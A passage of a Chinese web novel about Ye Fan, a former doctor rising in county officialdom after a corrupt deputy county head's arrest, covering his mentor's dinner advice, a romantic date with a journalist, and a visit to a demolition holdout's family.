他纵横青川县官场二十年,算计了一辈子,怎么也想不到,最后会栽在一个年纪轻轻的医生手里。
……
高明远被带走后,办公室里陷入了短暂的沉默。
**走到窗边,看着楼下那辆黑色的纪委轿车消失在夜色中,长长地舒了一口气。
“小叶,今晚过后,青川县的天,要变了。”他转过身,看着叶凡,眼神里是毫不掩饰的欣赏和倚重,“你这把手术刀,快、准、狠!直接切掉了我们青川县最大的一颗毒瘤!”
“我只是做了我该做的事。”叶凡的神情依旧平静。
“你小子,什么时候都这么不显山不露水。”**笑了,走过去重重拍了拍他的肩膀,“行了,大功告成,赶紧回去休息吧。明天,还有一场硬仗等着我们呢。”
从县政府大楼出来,冷风一吹,叶凡才感觉到一丝疲惫。
他坐进车里,没有立刻发动,而是拿出了手机。
屏幕上,是苏沐秋十几分钟前发来的一条微信。
一张照片,是财务总监周全被按住时,那张惊恐万状的脸。
照片下面配了一行字:“叶大导演,您看这剧照,还满意吗?主演的表情是不是特别到位?”
叶凡的嘴角不自觉地扬了起来。
他拨通了苏沐秋的电话。
电话几乎是秒接。
“喂,叶大局长,查完岗了?”苏沐秋的声音带着笑意,听起来心情极好。
“嗯,刚散场。”叶凡靠在椅背上,整个人都放松了下来,“苏大记者,这次多亏了你。”
“知道就好。”苏沐秋轻哼一声,语气里满是得意,“我跟你说,我刚才可是零距离拍摄,那家伙脸上的褶子都看得一清二楚。怎么样,我这个‘御用杀器’,够不够锋利?”
“锋利过头了。”叶凡笑道,“我都有点担心,以后会不会被你这个杀器给误伤了。”
“那就要看你的表现了。”苏沐秋在那头笑得花枝乱颤,“对了,说好的庆功宴和电影,什么时候兑现?我告诉你,这次你可别想再拿一顿海鲜大餐糊弄我,那家法式餐厅,我都订好位子了。”
“没问题。”叶凡看着车窗外阑珊的灯火,轻声说,“就这周末吧。”
“一言为定!”苏沐秋的声音里充满了雀跃,“你要是敢放我鸽子,我就把你今天晚上运筹帷幄,把常务副县长送进纪委的光辉事迹,写成一篇八千字的深度报道,让你在青川县,比大明星还出名。”
“那我可真是求之不得。”
两人在电话里轻松地调侃着,冲淡了今晚这场权力斗争带来的肃杀之气。
挂了电话,叶凡发动了汽车。
过去,如同一场漫长而压抑的手术,他终于切掉了那个让他备受**的病灶。
而未来,似乎正带着法式大餐的香气和电影院里爆米花的甜味,在不远处,等着他。
第156章 一朝天变,满城侧目!
第二天,青川县的天,没变,但官场的天,塌了半边。
常务副县长高明远涉嫌严重违纪违法,被市纪委带走调查的消息,像一场八级地震,在清晨的县委县政府大院里,引爆了无数惊心动魄的余震。
叶凡的车刚驶入大院,就敏锐地察觉到了空气中弥漫的异样气息。
往日里那些三三两两聚在一起抽烟聊天的干部,此刻都像被掐住了脖子的鸭子,一个个噤若寒蝉,眼神交汇时,都带着惊恐和猜测。
当他的车停稳,他从车上下来时,几十道目光“唰”地一下,齐齐聚焦在他身上。
那目光复杂至极,有畏惧,有探寻,有敬而远之,甚至还有一丝谄媚。
叶凡神色如常,对众人微微点头,径直走向办公楼。
他所过之处,人群自动分开一条道路,窃窃私语声瞬间消失,只剩下刻意压低的咳嗽和清嗓子的声音。
“叶局长早。”
一个科长僵硬地笑着,主动打招呼。
“早。”叶凡颔首回应。
“叶局长,气色不错啊。”
另一个部门的副手几乎是躬着身子凑了上来。
叶凡依旧是淡淡一笑,不疾不徐地走进了电梯。
电梯门缓缓合上,隔绝了外面所有的目光。
叶凡看着门上倒映出的自己,面无表情。
他知道,从今天起,他在青川县,再也不是那个可以被随意拿捏的“外来户”了。
他成了很多人眼里的“煞星”。
上午九点,县政府紧急扩大会议。
会议室里,气氛肃杀。
**坐在主位上,脸色沉得像要下暴雨。
他目光如刀,缓缓扫过在场的每一个人,所有与他对视的干部,都下意识地低下了头。
“想必,大家已经知道了。”**开口,声音不大,却像重锤敲在每个人的心上,“高明远同志辜负了组织的信任和人民的期望,犯了严重的错误。具体问题,市纪委正在调查,我们等最终的结论。”
他顿了顿,语气陡然转厉:“但是!高明远是高明远,青川是青川!青川县的工作,不会因为少了一个人就停摆!谁要是觉得现在是机会,想动什么歪心思,看笑话,甚至给我添乱子,我把丑话说在前面,休怪我**不念旧情,有一个,我办一个!”
一番话,掷地有声,杀气腾腾。
整个会议室里,落针可闻。
**端起茶杯,喝了一口,缓和了语气:“当然,绝大多数同志还是好的。越是这种时候,我们越是要团结一心,把工作做好,把我们青川县发展好,这才是对**最好的交代。”
他话锋一转,看向叶凡:“城南新区是全县发展的重中之重,之前因为一些人为因素,进度缓慢。现在,我们要把失去的时间抢回来!特别是新区规划中的国际医院项目,这是市里领导都亲自过问的民生工程,决不能再拖了。”
所有人的目光再次集中到了叶凡身上。
“叶凡同志。”
“到。”
叶凡站起身。
“之前你搞的那个‘青山模式’,我看就很好嘛。既解决了民生问题,又盘活了地方经济。”**脸上终于露出了一丝笑意,“这个国际医院的项目,不能再用老眼光、老办法去搞。我给你个任务,由你牵头,联合发改、财政、城建等部门,尽快拿出一个全新的、有前瞻性的项目规划方案出来。有没有信心?”
此言一出,满座皆惊。
谁都知道,城南新区是高明远经营多年的自留地,国际医院项目更是他手里最大的一块肥肉。
现在,**竟然直接把这块肉,交到了叶凡手上。
这已经不是信任了,这是赤裸裸地将叶凡树立为自己之下,青川县官场无可争议的“二号人物”。
叶凡迎着所有人的目光,不卑不亢:“请县长放心,保证完成任务。”
“好!”**满意地点点头,“散会!”
会议结束,叶凡刚走出会议室,就被一群人围住了。
“叶局长,恭喜恭喜啊!”
“叶局长年轻有为,是我们青川县的福气!”
主管文教卫生的那位副县长,更是挤到了最前面,满脸堆笑,热情得像是见到了亲人:“哎呀,叶局长,我就知道,你绝对是人中之龙!上次**会上,我对你的那个统一采购方案提出质疑,那都是为了让方案更完美嘛!我是真心实意地佩服你,支持你!以后,我们卫生口的工作,还请叶局长多多指导!”
这番话说得情真意切,脸皮厚度堪比城墙。
叶凡看着他,忽然笑了:“张县长,你放心,以后需要你‘指导’的地方,还多着呢。”
他特意在“指导”两个字上,加了重音。
张县长脸上的笑容一僵,额头渗出了一层细汗,只能尴尬地连声说“不敢当,不敢当”。
叶凡不再理会众人,径直回了办公室。
他刚坐下,手机就震了一下,是苏沐秋发来的微信。
“叶判官,听说你今天在县政府大楼里,上演了一出‘百官朝拜’的好戏?现在是不是感觉自己像皇帝一样,威风八面?”
后面还跟了一个偷笑的表情。
叶凡失笑,这丫头的消息,比官方通报还快。
他回道:“皇帝谈不上,顶多算个刚上任的包工头,李县长给我派了个大活儿。”
“国际医院的项目?”苏沐秋几乎是秒回,“我就知道!**这是要把你打造成他最锋利的一把刀啊。不过,这活儿可不好干,城南新区那块地,水深着呢。高明远虽然倒了,但他的那些徒子徒孙可都还在。”
“水深才好摸鱼。”叶凡回了一句。
“切,德性。”苏沐秋发了个白眼的表情,“说正事。为了庆祝你荣升‘青川王’,周末的法式大餐,我特意让餐厅准备了
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82年的拉菲,给你压压惊。”
叶凡看着屏幕,嘴角不自觉地上扬:“一瓶酒就想收买我?我可是听说,高明远倒台后,县里空出了一个**副县长的位置,很多人都盯着呢。你这个‘战地记者’,就没有点独家内幕?”
电话那头沉默了几秒。
“叶凡,你这是在跟我交换情报?”
“你可以理解为,这是周末那顿饭的开胃菜。”
“你……”苏沐秋似乎被他气笑了,“行,算你狠!我的内幕消息是,**组织部那边,确实在考虑人选。不过,**好像有他自己的想法。”
“什么想法?”
“他想让你上。”
这五个字,让叶凡握着手机的手,微微一顿。
“别这么惊讶。”苏沐秋的语气带着几分得意,“你想想,高明远倒台,**在青川县虽然一家独大,但也急需一个绝对信得过,而且有能力、有功绩的副手来稳固局面,帮你占住这个位置,就等于彻底掌控了青川的**会。你现在,就是他最合适的人选。所以啊,叶大局长,准备好迎接你的下一步高升吧。”
放下手机,叶凡靠在椅背上,看着窗外的天空。
副县长?
几个月前,这还是一个他想都不敢想的位置。
可现在,似乎已经触手可及。
他没有太多的兴奋,反而有一种外科医生即将走上更复杂手术台前的冷静。
他知道,位置越高,手术的难度就越大,稍有不慎,满盘皆输。
他需要做的,就是磨好自己的刀,然后,一刀一刀,精准地切下去。
傍晚,叶凡正在整理关于国际医院项目的初步构想,一个陌生的电话打了进来。
他接起电话,那头传来一个略显苍老,却中气十足的声音。
“是小叶同志吗?我是钱国栋。”
叶凡愣了一下,随即反应过来,立刻站起身,态度恭敬:“钱**,您好!”
这位当初把他从乡镇医院借调到镇政府的“伯乐”,前段时间离开青山镇后,两人就很少联系了。
“哈哈,还叫我**呢?”钱国栋爽朗地笑了起来,“我现在已经提前退居二线,就是个糟老头子咯。小叶啊,县里的事,我听说了。你干得不错,真给咱们青山镇长脸!”
“都是您当初提携。”
“少来这套。”钱国栋笑骂了一句,“我就是打电话问问你,怎么样,在高处,冷不冷?”
这句没头没脑的话,却让叶凡心中一暖。
他知道,这是老领导在点拨他,也是在关心他。
官场高处不胜寒,越是春风得意,越要小心谨慎。
“谢谢钱**关心,我还扛得住。”
“那就好。”钱国栋沉默片刻,忽然道,“我那个不成器的儿子,最近老跟我念叨你。说他这条命是你救回来的,想请你吃顿饭,当面谢谢你。这个周末,有空吗?”
第157章 饭局内外,皆是人情!
电话那头钱国栋爽朗的笑声,让叶凡紧绷了一天的神经,不由自主地松弛下来。
这是一种来自长辈的、不掺杂任何利益算计的关怀,在如今的青川县,显得尤为珍贵。
“钱**,您太客气了。钱理是我病人,救他是我的本分。”叶凡的声音里带着真诚的恭敬,“您看您什么时候方便,我过去看您。”
“别我方便,是你方便。你现在可是大忙人,县里一堆事等着你拍板呢。”钱国栋在那头呵呵直笑,“我听说了,**县长把城南新区那块最难啃的骨头都丢给你了。怎么样,手里的手术刀换成了规划图,还习惯吗?”
“还在摸索。”
“行了,不跟你打官腔了。就这个周末,周六晚上,来家里吃顿便饭。让你周阿姨给你做几个家常菜,咱们好好喝两杯。”钱国栋的语气不容拒绝,“一会儿我把地址发你手机上,不准带任何东西,人来就行!”
挂了电话,叶凡握着手机,站在窗边,心里涌起一股暖流。
他看着手机屏幕上,苏沐秋十几分钟前发来的那条关于法式大餐和82年拉菲的微信,忽然觉得有些头疼。
一个是前途未卜、暧昧滋生的庆功宴。
一个是意义重大、必须参加的感恩局。
两场饭,撞在了一起。
他揉了揉眉心,思索片刻,拨通了苏沐秋的电话。
“喂,叶大包工头,是不是被城南新区的规划图难住了,要请我这个王牌记者给你出谋划策啊?”电话一接通,苏沐秋调侃的声音就传了过来。
“策划暂时还不需要。”叶凡笑了笑,清了清嗓子,“苏大记者,有个情况……我们周末的计划可能要稍微调整一下。”
电话那头沉默了两秒,苏沐秋的语气变得有些玩味:“哦?调整?叶局长这是要放我鸽子?我可提醒你,我的深度报道草稿已经写好一半了,标题就叫《论青川县某青年干部的“过河拆桥”艺术》。”
“不敢不敢。”叶凡被她逗乐了,连忙解释,“不是取消,是加演一场。刚才我以前在青山镇的老领导,钱国栋**,给我打电话,让我周六晚上去他家吃饭。”
“钱国栋**?”苏沐秋的语气立刻正经了起来,“那位在青山镇提拔你的伯乐?”
“嗯。他儿子钱理就是我刚到青山镇时,从车祸里救回来的那个。”
电话那头又是一阵沉默,但这次的沉默,叶凡能感觉到是一种理解。
“原来是去拜见恩师,顺便接受‘家属’的检阅,这可是天大的正事。”苏沐秋的声音重新带上了笑意,只是那笑意里似乎多了点别的味道,“行吧,本记者深明大义。庆功宴可以延期,但利息得加倍。”
“怎么个加倍法?”叶凡好奇地问。
“嗯……除了法式大餐和电影,你还得答应我,下次我做深度调查遇到麻烦,你得无条件给我当‘线人’。”
“一言为定。”叶凡毫不犹豫地答应了。
“这还差不多。”苏沐秋轻哼一声,话锋一转,“不过,叶凡,钱**在这个时候请你吃饭,恐怕不只是为了感谢你。”
“我知道。”叶凡的眼神变得深邃,“高明远倒了,青川县这潭水看似清了,实则下面的暗流更急。老**这是怕我这艘新船,一出港就触了礁。”
“你明白就好。”苏沐秋的声音里带着一丝不易察觉的关心,“那你周六好好表现,别丢了我们‘青山镇派’的脸。我的庆功宴就改到周日,地点不变。到时候,我可要听你汇报‘思想工作’。”
“遵命,苏领导。”
……
周六傍晚,叶凡按照地址,找到了钱国栋的家。
一个很普通的家属院,房子也有些年头了。
他两手空空地敲响了房门。
开门的是一个样貌温婉的中年妇人,是钱国栋的爱人,在县教育局当科长的周雅芬。
叶凡曾经在县医院的时候见过一面。
“是小叶吧?快请进!”周雅芬看到叶凡,脸上立刻堆满了热情的笑容,那是一种发自内心的感激和亲切,“老钱天天在我耳边念叨你,上一次见面太仓促了,总算是又有机会见到你了,小伙子长得可真精神!”
“周阿姨好。”叶凡礼貌地打了招呼。
“哎,好,好。快进来坐,就等你了。”
客厅不大,但收拾得一尘不染。
钱国栋正坐在沙发上看新闻,见叶凡进来,指了指旁边的位置:“坐,别客气,就当自己家。”
一个年轻人从厨房里端着一盘水果走出来,看到叶凡,眼睛一亮,快步上前,伸出手,脸上带着几分激动和赧然:“叶哥!不,凡哥!我是钱理。”
眼前的钱理和叶凡记忆中那个满身是血、生命垂危的青年判若两人。
他剪了利落的短发,穿着干净的休闲装,虽然走路还有些微的不自然,但整个人看起来阳光开朗,眼神清澈。
“恢复得不错。”叶凡握住他的手,像医生检查病人一样,捏了捏他的臂膀,很结实。
“凡哥,我……”钱理的眼圈有些红,“我爸妈都跟我说了,要不是你,我这条命早就没了。以后,你就是我亲哥!有什么事,只要你一句话!”
“说什么傻话。”周雅芬端着茶过来,嗔怪地拍了儿子一下,“还不快谢谢叶医生。”
“妈,我都说多少遍了,我叫他哥,显得亲切!”钱理挠了挠头,憨厚地笑了。
饭菜很快上桌,四个人围坐在一起,都是些很普通的家常菜,但做得色香味俱全。
钱国栋拿出了一瓶珍藏的茅台,亲自给叶凡满上:“小叶,多余的话,我这老头子就不说了。都在酒里。我替我们一家,敬你一杯。”
叶凡端起酒杯,郑重地和钱国栋碰了一下,一饮而尽。
酒过三巡,气氛越发热络。
周雅芬不停地给叶凡夹菜,问着他的工作和生活,言语间满是长辈的关怀。
“小叶啊,你现在一个人在青川,工作那么忙,身边也没个人照顾,可不行啊。”周雅芬状似无意地提起,“我听老钱说,你之前离过婚?”
叶凡
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没想到她会问得这么直接,微微一怔,随即坦然地点了点头:“是。”
“过去了就过去了。”钱国栋瞪了自己老婆一眼,打断了她的话头,然后转向叶凡,“男人,先立业,后成家。你现在正是干事业的时候。”
他放下筷子,给自己点了根烟,眼神变得锐利起来:“说说吧,高明远倒了,**把你推到台前,你现在是什么感觉?”
叶凡沉吟片刻:“感觉像是站在了聚光灯下,一举一动,都有无数双眼睛在盯着。”
“这说明你看明白了。”钱国栋吐出一口烟圈,“**把你当刀使,这没错。但他把你推出来,也是一步险棋。你现在既是他的心腹,也是所有人的眼中钉。”
“现在县里都在传,说李县长打算推我上常务副县长的位置。”叶凡没有隐瞒。
“愚蠢!”钱国栋哼了一声,“这是捧杀!你资历太浅,根基不稳,功劳也只在扳倒张海涛和高明远这两件事情上。现在就把你放到那么高的位置上,下面的人谁会服你?你信不信,只要你坐上去,第二天,你的黑材料就能堆满市纪委的办公桌!”
这番话,如同一盆冷水,让叶凡瞬间清醒。
“那您的意思是……”
“那个位置,现在对你来说,不是蜜糖,是**。谁爱争谁争去。”钱国栋的指节在桌上敲了敲,“**让你牵头国际医院的项目,这才是他真正给你的东西。”
他看着叶凡,一字一句道:“官场上,位置是虚的,随时可以拿掉。但实实在在的政绩,是谁也抢不走的!你以前是医生,应该明白,一场漂亮的手术,比你挂一个‘主任医师’的头衔,更能赢得同行的尊重。”
“国际医院这个项目,是高明远留下的烂摊子,也是一块人人眼馋的肥肉。你现在要做的不是去想那个副县长的位置,而是要把全部精力都用在这台‘手术’上。你要把它做得漂漂亮亮,做得让所有人都无话可说!”
钱国栋的目光灼灼:“你要记住,当你的功劳大到足以压过所有人的非议时,那个位置,不用你去争,自然会送到你的手上。到时候,你坐上去,才能坐得稳!”
叶凡豁然开朗,他站起身,再次给钱国栋倒满了酒,恭恭敬敬地举起酒杯:“钱**,听君一席话,胜读十年书。我敬您!”
钱国栋满意地笑了,端起酒杯和他碰了一下:“孺子可教。”
他喝完酒,又悠悠地补充了一句:“不过,光有政绩还不够。你这把刀,太快,太锋利,很容易伤到自己。在青川,你还需要一把‘刀鞘’。”
“刀鞘?”叶凡有些不解。
钱国栋看着他,意味深长地笑了笑,却没有再解释,只是端起茶杯,轻轻吹了吹。
“对了,”一旁的周雅芬像是突然想起了什么,笑着对叶凡说,“小叶,我听我们局里管招生的同事说,江城晚报有个叫苏沐秋的记者,最近老往我们青川跑,写的几篇报道都很有分量。听说,还是个很漂亮的小姑娘。你们两个关系应该不错吧?”
第158章 刀鞘与佳人!
周雅芬这句看似随口一提的话,像一颗投入平静湖面的石子,瞬间在饭桌上漾开了一圈微妙的涟漪。
钱理的眼睛亮了一下,看看叶凡,又看看自己母亲,脸上是毫不掩饰的八卦笑意。
钱国栋则端着茶杯,慢悠悠地吹着热气,眼角的余光却一刻也没离开叶凡的脸,仿佛在审视一道高难度的考题。
叶凡心中一动,立刻明白了老**那句“刀鞘”的深意。
一把锋利的刀,需要一个能保护它、也能约束它的鞘。
这个鞘,可以是坚实的盟友,也可以是一个安稳的家庭,一个能在背后为你缝补、让你没有后顾之忧的女人。
周阿姨这番话,名为打听,实为点拨,甚至是试探。
他放下酒杯,神色坦然,带着恰到好处的尊敬和一丝年轻人特有的真诚:“周阿姨,您消息真灵通。苏记者的确帮了我很多忙,她是个非常有正义感,业务能力也非常出色的新闻工作者。在石料厂污染和这次高明远的事情上,她写的报道都起到了关键作用。我们是很好的朋友,也是并肩作战的战友。”
这番回答滴水不漏。既肯定了苏沐秋的价值,又将两人的关系定义在“朋友”和“战友”的范畴,既不显得疏远,也不过分亲密,留足了想象空间。
“战友?”周雅芬笑了起来,那笑容里满是过来人的了然,“现在的年轻人,说法就是不一样。不过,小姑娘确实不错,有胆有识,配得上我们青川县的大功臣。”
一句话,算是给出了肯定的评价。
钱国栋这时才放下茶杯,瞪了老婆一眼:“行了你,查户口呢?吃菜!小叶工作忙,难得休息,别问东问西的。”
嘴上是责备,脸上却带着笑意。
他显然对叶凡的回答非常满意。沉稳,通透,不卑不亢。
这小子,不仅手术刀使得好,在人情世故这张更复杂的手术台上,也开始有模有样了。
这顿饭吃得宾主尽欢。
临走时,钱国栋亲自把叶凡送到门口,外面的夜风带着凉意,吹得人精神一振。
“老**,您留步。”
“嗯。”钱国栋点点头,拍了拍叶凡的肩膀,压低声音,“国际医院那个项目,别急着看图纸,也别急着听汇报。先去城南新区的拆迁户家里坐一坐,去工地上跟工人们聊一聊。记住,任何工程,根子都在人身上。把人的问题解决了,事就成了一半。”
叶凡心头一凛,郑重点头:“我记住了,谢谢钱**。”
这才是真正的为官之道,是从几十年宦海沉浮中提炼出的真金。
……
周日,夕阳给江城镀上了一层温暖的金色。
叶凡把车停在江城晚报的楼下,苏沐秋穿着一件米白色的羊绒大衣,围着一条驼色的围巾,长发微卷,略施粉黛,正俏生生地站在台阶上等他。
看到叶凡的车,她扬起嘴角,拉开车门坐了进来,一股淡淡的香风也随之飘入车内。
“叶大局长,架子不小嘛,还让本记者亲自等你。”她一边系安全带,一边调侃道。
“没办法,昨晚接受完老领导的谆谆教诲,思想觉悟有了质的飞跃,今天出门前特意对着镜子多反省了五分钟。”叶凡一本正经地胡说八道。
苏沐秋被他逗得咯咯直笑,风情万种地白了他一眼:“德性。说吧,昨晚的‘家庭审查’,还顺利吗?周阿姨有没有拉着你的手,问你生辰八字,家里几亩地,地里几头牛?”
“那倒没有。”叶凡发动汽车,汇入车流,“不过,她倒是对某位战功赫赫的苏大记者,表现出了浓厚的兴趣。”
“哦?”苏沐秋眉毛一挑,嘴角翘起一个得意的弧度,“这么说,我的大名已经传的这么广了?不错不错,看来群众的眼睛是雪亮的。”
“何止是雪亮,”叶凡侧头看了她一眼,灯火在她明亮的眼眸里跳跃,“简直是火眼金睛。周阿姨说了,那小姑娘,配得上青川县的大功臣。”
苏沐秋脸颊微微一热,轻哼一声,扭头看向窗外,嘴硬道:“算她有眼光。”
车里的气氛,因为这几句玩笑话,变得有些不一样了。
法式餐厅里,灯光柔和,音乐舒缓。
侍者用优雅的姿态,将那瓶传说中的82年拉菲开启,倒入醒酒器中。
琥珀色的酒液在水晶容器里缓缓流淌,散发着迷人的芬芳。
“为我们的大功臣,青川县冉冉升起的**新星,未来的‘叶县长’,干杯。”苏沐秋举起高脚杯,眼波流转,笑意盈盈。
“别给我戴高帽。”叶凡与她轻轻碰杯,“要不是你这个‘御用杀器’,我这把刀还不知道在哪儿卷刃呢。”
两人相视一笑,抿了一口醇厚的红酒。
“说真的,钱**跟你说什么了?”苏沐秋放下酒杯,回归正题。
叶凡便将钱国栋关于“**”和“政绩”的分析,原原本本地告诉了她。
苏沐秋听完,若有所思地点点头:“姜还是老的辣。老**看得比谁都透。**县长把你推出来,既是信任也是考验。你现在就像是在走钢丝,下面全是等着看你笑话的人。那个副县长的位置,你现在要是真坐上去了,就是把自己架在火上烤。”
她用叉子卷起一小块鹅肝,姿态优雅地放入口中,继续分析道:“所以,国际医院这个项目,就是你唯一的救生索,也是你唯一的舞台。你必须把它办成一个铁板钉钉的政绩工程,一个谁也无法否定的标杆。到时候,你不是被‘提拔’上去,而是被‘功劳’抬上去,意义完全不同。”
叶凡看着她,眼神里满是欣赏。
这个女人的敏锐和通透,丝毫不亚于官场里的那些老狐狸。
“你说的,和我想的一样。”
“所以,本记者决定了,”苏沐秋狡黠一笑,“从明天开始,我要成立一个‘青川国际医院项目’深度报道专题组,全程跟踪报道。从规划设计到拆迁安置,再到施工建设,我要让全青川县,乃至全江城的人,都看到你是怎么把一个烂摊子,变成一个民心工程的。”
叶凡心中一暖。
这已经不是简单的帮忙了,这是在用她自己最擅长的方式,为他保驾护航,为他擂
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鼓助威。
他拿起酒瓶,为她空了的酒杯续上红酒,动作轻柔。
“苏沐秋。”
他忽然叫了她的名字。
“嗯?”
“谢谢你。”叶凡的声音很轻,却很郑重。
“光说谢谢?”苏沐秋扬了扬下巴,带着几分娇嗔,“太没诚意了。”
“那……”叶凡看着她近在咫尺的脸,在柔和的灯光下,她的皮肤细腻得仿佛能透出光来。
他鬼使神差地伸出手,将她额前一缕调皮的碎发,轻轻拨到耳后。
指尖无意间触碰到她温热的耳垂,两人都是微微一颤。
空气,仿佛在这一刻凝固了。
苏沐秋的心跳漏了一拍,脸颊瞬间飞上两抹红霞,连呼吸都忘了。
叶凡也有些怔住,指尖那柔软细腻的触感,像电流一样传遍全身。
“咳……”还是苏沐秋先反应过来,她不自然地端起酒杯喝了一口,以掩饰自己的慌乱,“那个……菜,菜来了。”
侍者恰到好处地端上了主菜,打破了这暧昧的寂静。
一顿饭,在一种奇妙的氛围中吃完。
去看电影的路上,两人都没怎么说话,但车里的空气却比之前更加黏稠。
电影是一部好莱坞动作大片,情节火爆,特效炫目。
但叶凡和苏沐秋的心思却都没怎么在屏幕上。
两人中间放着一桶爆米花,一开始还各自小心翼翼地从自己的这边拿。
渐渐地,在黑暗的掩护下,两人的手在桶里“偶遇”的次数,越来越多。
每一次不经意的触碰,都像是一次小小的烟花,在心里炸开。
当电影里放到最紧张的追车戏时,苏沐秋下意识地抓住了身旁的手臂。
叶凡的身子僵了一下,没有动,任由她抓着。
她的手有些凉,却很柔软。他甚至能感觉到她微微颤抖的指尖。
电影结束,灯光亮起。
苏沐秋才如梦初醒般,闪电似的松开了手,脸上写满了“我什么都没做”的无辜。
叶凡看着她耳根都红透了的样子,嘴角忍不住扬了起来。
回家的路上,依旧沉默。
车子停在苏沐秋家楼下,叶凡熄了火。
“我……到了。”苏沐秋解开安全带,却没有立刻下车。
“嗯。”叶凡应了一声,侧过身看着她。
路灯的光透过车窗,在她脸上投下斑驳的光影,她的睫毛很长,在轻轻地颤动。
“今天,谢谢你的陪伴。”她找了个蹩脚的话题。
“应该的。”
“那……我上去了。”
“好。”
她推开车门,又停住,回过头,像是鼓足了勇气:“叶凡。”
“嗯?”
“周末愉快。”她说完,像是逃跑一样,快步走进了楼道。
叶凡看着她的背影消失在门后,失笑着摇了摇头。
他靠在椅背上,车里还残留着她身上淡淡的香水味。
他抬手,摸了摸自己的嘴唇,仿佛上面还留着82年拉菲的余香。
今晚,什么都没有发生。
但又好像什么都已经发生了。
第159章 从人身上开刀!
周一的清晨,阳光穿透百叶窗,在叶凡的办公桌上投下几道斑驳的光痕。
空气里似乎还残留着周末夜晚爆米花的甜香和红酒的醇厚,以及指尖不经意触碰时,那惊心动魄的温热。
叶凡的指尖在城南新区那份厚得像砖头一样的项目规划书上轻轻敲击着,眼神却有些飘忽。
“德性。”
他仿佛听到了苏沐秋那带着笑意的嗔怪,嘴角不自觉地微微上扬,随即又迅速收敛,恢复了平日的沉静。
桌上的规划书是高明远留下的,里面充斥着各种宏大的概念和浮夸的数据,从“打造国际一流医疗康养综合体”到“构建环江城经济带新引擎”,每一个字都透着一股急功近利的虚浮。
叶凡翻了几页就将它合上了。
他要做的不是给一具尸体做美容,而是要对一个病入膏肓的病人,进行一次彻底的清创手术。
上午九点半,县政府三楼小会议室。
与国际医院项目相关的发改、财政、城建、国土四个部门的一把手,正襟危坐。
这些**多是高明远时代的老人,此刻看着坐在主位上的叶凡,表情各异。
有审视,有戒备,也有一丝藏不住的轻慢。
一个毛头小子,靠着县长的赏识扳倒了高明远,真以为自己能镇住场子了?
“各位,今天请大家来,不是为了听报告,也不是为了看图纸。”叶凡开门见山,声音不大,却清晰地传到每个人耳朵里,“我只想问一件事,城南新区项目启动至今,所有涉及拆迁的住户名单以及他们的补偿、安置方案落实情况,我要一份最详细的资料。今天下班前,能给我吗?”
会议室里安静了一瞬。
几个老油条交换了一下眼色。
城建局局长王建林,一个头发梳得油光锃亮的中年男人,慢悠悠地端起茶杯,吹了吹浮沫:“叶……组长,您刚接手,可能对情况不太了解。城南新区的拆迁工作,历史遗留问题很多,涉及的户数多,关系错综复杂。这份资料,我们一直在整理,但工程量实在太大,一天的时间,怕是有点……”
他话没说完,但意思很明显:你在为难我。
财政局的副局长是个胖子,姓刘,此刻也跟着帮腔,脸上笑呵呵的,话里却藏着针:“是啊,叶组长。特别是补偿款这块,高县长当初……有他自己的考量。账目比较乱,我们财务的同志正在加班加点地核对,可不能出一点差错不是?这事儿,急不得。”
这是在点他,账是高明远留下的烂账,你要是敢深查,出了问题可别怪我没提醒你。
叶凡看着这两人一唱一和,脸上没什么表情,心里却跟明镜似的。
这是在给他下马威,想用拖字诀来耗掉他的锐气。
他没有发火,甚至还笑了笑。
他从自己的公文包里,拿出薄薄的一张A4纸,轻轻放在桌子中央。
“既然各位的工作量都这么饱和,那我就不给大家添麻烦了。”叶凡的目光扫过众人,“这份名单,是我自己整理的。上面是十五户因为拆迁问题,在过去一年里,去县里、市里**次数最多的住户,俗称‘钉子户’。”
王建林和刘胖子的脸色微微一变。
叶凡的手指在名单第一个名字上点了点:“孙大强。原红星机械厂退休工人,六十八岁,一家五口人,目前住在临时安置的板房里。王局长,别的我不要,你现在就派人,把孙大强家的具体地址发给我。下午三点,我自己过去一趟。”
整个会议室,鸦雀无声。
所有人都没想到,叶凡的第一刀,竟然如此直接,如此不按常理。
他不跟你纠缠于文件和报告,而是直接捅向了最核心、最麻烦的“人”身上。
王建林脸上的从容不见了,额头渗出了一层细密的汗。
他要是说不知道,那就是他这个城建局长失职。
他要是给了,就等于把矛盾的焦点,亲手送到了叶凡面前。
“怎么?王局长连一个地址都找不到吗?”叶凡的语气依旧平静,眼神却陡然锐利起来。
“不……不是。”王建林被他看得心里发毛,连忙道,“我……我马上让办公室的人去核实,核实清楚了立刻给您送过去!”
“好。”叶凡站起身,“那就辛苦各位了。今天就到这里,散会。”
他转身就走,留下会议室里一帮面面相觑的局长们,半天没回过神来。
这小子,路子太野了。
……
下午,城南新区的临时安置区。
这里与其说是个小区,不如说是个大型的城中村。
低矮的板房排列得杂乱无序,狭窄的过道上污水横流,空气中弥漫着一股食物**和劣质煤烟混合的怪味。
叶凡谢绝了司机,独自一人踩着泥泞的土路,按照地址找到了孙大强的家。
他刚敲响那扇薄薄的铁皮门,里面就传来一声暴躁的吼叫:“敲什么敲!催命啊!”
门“吱呀”一声被拉开,一个身材干瘦、满脸褶子、眼神却像鹰一样锐利的老头,堵在门口,没好气地上下打量着叶凡。
“你找谁?”
“请问是孙大强,孙师傅吗?”叶凡客气地问。
“我就是!你是哪个单位的?又是来做思想工作的?”孙大强一脸不耐烦,“省省吧!补偿款不到位,安置房没影儿,说破天都没用!赶紧滚!”
说着,他就要关门。
“孙师傅,我不是来做思想工作的。”叶凡用手挡住门,“我叫叶凡,以前是个医生。”
他说话的时候,目光越过孙大强的肩膀,看到屋里一个老妇人正坐在小马扎上,捂着嘴剧烈地咳嗽,一张脸憋得通红。
“您爱人的咳嗽,听起来不像普通的感冒。”叶凡的语气不自觉地带上了医生的职业习惯,“是支气管炎还是肺上的**病?多久了?”
孙大强愣住了。
他跟政府的人打了一年多的交道,来的不是板着脸念文件的,就是笑嘻嘻打太极的,还从没见过一上来就问病的。
“你……真是医生?”
“以前是。”叶凡点点头,“现在负责国际医院的项目。孙师傅,能让我进去给阿姨看看吗?”
孙大强迟疑了一下,看了一眼屋里咳得上气不接下气的老伴,终于还是侧身让开了路。
屋里光线昏暗,空间狭小,一张床就占了近一半的地方。
叶凡走过去,蹲下身,仔细听
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了听老妇人的呼吸声,又看了看她的脸色和指甲。
“阿姨,您这咳嗽不能再拖了,得尽快去医院拍个片子看看。”叶凡的神情很严肃,“这里的环境太潮湿,对您的肺不好。”
孙大强在一旁看着,眼神里的敌意渐渐消退,换上了一丝愁苦和无奈。
